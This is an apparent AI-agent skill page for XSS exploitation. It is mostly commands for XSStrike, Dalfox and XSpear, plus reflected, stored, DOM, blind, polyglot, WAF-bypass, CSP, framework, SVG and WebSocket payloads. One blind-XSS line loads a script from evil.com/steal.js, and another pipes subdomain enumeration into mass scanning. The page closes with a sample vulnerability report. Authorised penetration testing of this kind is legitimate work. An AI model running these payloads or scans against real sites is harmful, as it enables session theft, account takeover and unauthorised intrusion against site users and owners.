Loading...
Loading...
Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources.
npx skill4agent add crazymarky/pentest-skills exploit-xss# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike
# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest
# XSpear - XSS testing with WAF bypass
gem install xspear# Install required Python packages for built-in scripts
pip install requests beautifulsoup4
# Optional: WebSocket XSS testing
pip install websockets# Burp Suite for manual testing
# OWASP ZAP for automated scanning# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"
# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"# Save POST request to file
dalfox file request.txt
# Or use XSStrike
python xsstrike.py -r request.txt# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom
# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --dom# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"
# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"
# Specify parameter
dalfox url "https://target.com/search" -p q# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test' > post_request.txt
# Test with XSStrike
python xsstrike.py -r post_request.txt
# Test with Dalfox
dalfox file post_request.txt# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"
# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"
# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery
# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blind# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net
# Test user profile fields
python xsstrike.py -r profile_update_request.txt
# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&email=test@test.com&message=payload"# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom
# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom
# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"location.hashlocation.searchdocument.cookiedocument.referrerwindow.nameinnerHTMLdocument.write()eval()location.hrefsetTimeout()setInterval()# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"
# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net
# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>" onmouseover=alert('XSS')
javascript:alert('XSS')';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script></style><script>alert('XSS')</script>
expression(alert('XSS'))# Generate WAF bypass payloads
scripts/xss_payload_generator.py --waf-bypass
# Use XSpear with bypass mode
xspear -u "https://target.com/search?q=test" --bypass
# Test various encodings
python xsstrike.py -u "https://target.com/search?q=test" --encode%3Cscript%3Ealert(1)%3C/script%3E%253Cscript%253E\u003Cscript\u003E<script>alert(1)</script><ScRiPt>alert(1)</sCrIpT><script><!-- anything -->alert(1)</script><script\t>alert(1)</script># Scan from file
dalfox file urls.txt
# Pipe from other tools
cat urls.txt | dalfox pipe
# XSStrike with multiple targets
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done
# Combine with subdomain enumeration
subfinder example.com | httpx | dalfox pipe# URL encode payloads
scripts/xss_payload_generator.py --encode url
# HTML encode
scripts/xss_payload_generator.py --encode html
# Hex encode
scripts/xss_payload_generator.py --encode hex
# Test with XSStrike encoding
python xsstrike.py -u "https://target.com" --encode<script>alert(1)</script>%3Cscript%3Ealert(1)%3C/script%3E%253Cscript%253E<script>alert(1)</script>\x3Cscript\x3Ealert(1)\x3C/script\x3E\u003Cscript\u003Ealert(1)\u003C/script\u003E# Generate polyglot payloads
scripts/xss_payload_generator.py --polyglot
# Common polyglot payload
# Works in: HTML, HTML attribute, JavaScript string, etc.
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E
# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E# Detect and analyze CSP
python scripts/csp_detector.py https://target.com
# Generate bypass report
python scripts/csp_detector.py https://target.com --bypass
# Full CSP analysis
python scripts/csp_detector.py https://target.com --verboseunsafe-inlineunsafe-evaldata:references/csp_bypass_guide.md# Auto-detect frameworks
python scripts/framework_xss_tester.py --url https://target.com --detect
# Test Angular XSS
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular
# Test React XSS
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react
# Test Vue XSS
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue{{constructor.constructor('alert(1)')()}}dangerouslySetInnerHTMLv-html.html()references/framework_xss_guide.md# Generate SVG payloads
python scripts/svg_xss_tester.py --generate --variant file_upload
# Test SVG injection
python scripts/svg_xss_tester.py --url https://target.com --param content
# Test SVG file upload
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar
# Create exploit SVG
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com<svg onload="alert('XSS')"><svg><script>alert('XSS')</script></svg><svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>references/svg_xss_guide.md# Test all mutation types
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all
# Test DOM clobbering
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber
# Test attribute mutations
python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute<<<xmp><listing><a id="location">references/mutation_xss_guide.md# Scan URL for WebSocket endpoints
python scripts/websocket_xss_tester.py --url https://target.com
# Test specific WebSocket URL
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws
# Test DOM injection via WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom
# Test stored XSS in WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored
# Test with custom payload
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'ws.send('<script>alert(1)</script>'){"message": "<img src=x onerror=alert(1)>"}ws.send('alert(1);')" onmouseover=alert(1)references/websocket_xss_guide.md| Scenario | Recommended Tool | Command |
|---|---|---|
| Quick parameter testing | Dalfox | |
| Deep scanning with DOM | XSStrike | |
| WAF bypass testing | XSpear | |
| Stored/Blind XSS | Dalfox + Callback | |
| Manual testing | XSStrike | |
| Batch scanning | Dalfox pipe | |
| CSP Analysis | CSP Detector | |
| Framework XSS | Framework Tester | |
| SVG XSS | SVG Tester | |
| Mutation XSS | Mutation Tester | |
| WebSocket XSS | WebSocket Tester | |
| Full Scan | Full Scanner | |
| Feature | XSStrike | Dalfox | XSpear | Built-in Scripts |
|---|---|---|---|---|
| Speed | Medium | Fast | Medium | Varies |
| DOM XSS | Excellent | Good | Limited | Good |
| WAF Bypass | Good | Good | Excellent | Good |
| Pipeline Mode | No | Yes | No | No |
| Blind XSS | Yes | Yes | Yes | Yes |
| CSP Analysis | No | No | No | Yes |
| Framework Testing | No | No | No | Yes |
| SVG Testing | No | No | No | Yes |
| Mutation XSS | No | No | No | Yes |
| WebSocket XSS | No | No | No | Yes |
# Manual entry after discovering XSS
python .claude/skills/exploit-xss/scripts/xss_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/search?q=test" \
--xss-type reflected \
--payload "<script>alert(1)</script>" \
--context html_body \
--severity High \
--subsystem "Web Application"--host-ip--url--xss-type--payload--context--severity--subsystem--parameter--title--description--cvss-score./data/results.dbresults-storagescripts/xss_payload_generator.pyscripts/xss_tester.pyscripts/xss_context_analyzer.pyscripts/blind_xss_tester.pyscripts/csp_detector.pyscripts/svg_xss_tester.pyscripts/framework_xss_tester.pyscripts/mutation_xss_tester.pyscripts/websocket_xss_tester.pyscripts/mxss_detector.pyscripts/xss_full_scan.pyreferences/dalfox_guide.mdreferences/xsstrike_guide.mdreferences/xspear_guide.mdreferences/xss_payload_techniques.mdreferences/dom_xss_guide.mdreferences/csp_bypass_guide.mdreferences/framework_xss_guide.mdreferences/svg_xss_guide.mdreferences/mutation_xss_guide.mdreferences/websocket_xss_guide.mdassets/common_xss_payloads.txtassets/attribute_xss_payloads.txtassets/dom_xss_payloads.txtassets/blind_xss_payloads.txtassets/polyglot_xss_payloads.txtassets/waf_bypass_payloads.txtassets/csp_bypass_payloads.txtassets/framework_xss_payloads.txtassets/svg_xss_payloads.txtassets/mutation_xss_payloads.txtassets/websocket_xss_payloads.txt╔═══════════════════════════════════════════════════════╗
║ XSS Vulnerability Report ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search ║
║ Type: Reflected XSS ║
║ Severity: High ║
╚═══════════════════════════════════════════════════════╝
Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')
Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')
Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website
Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functions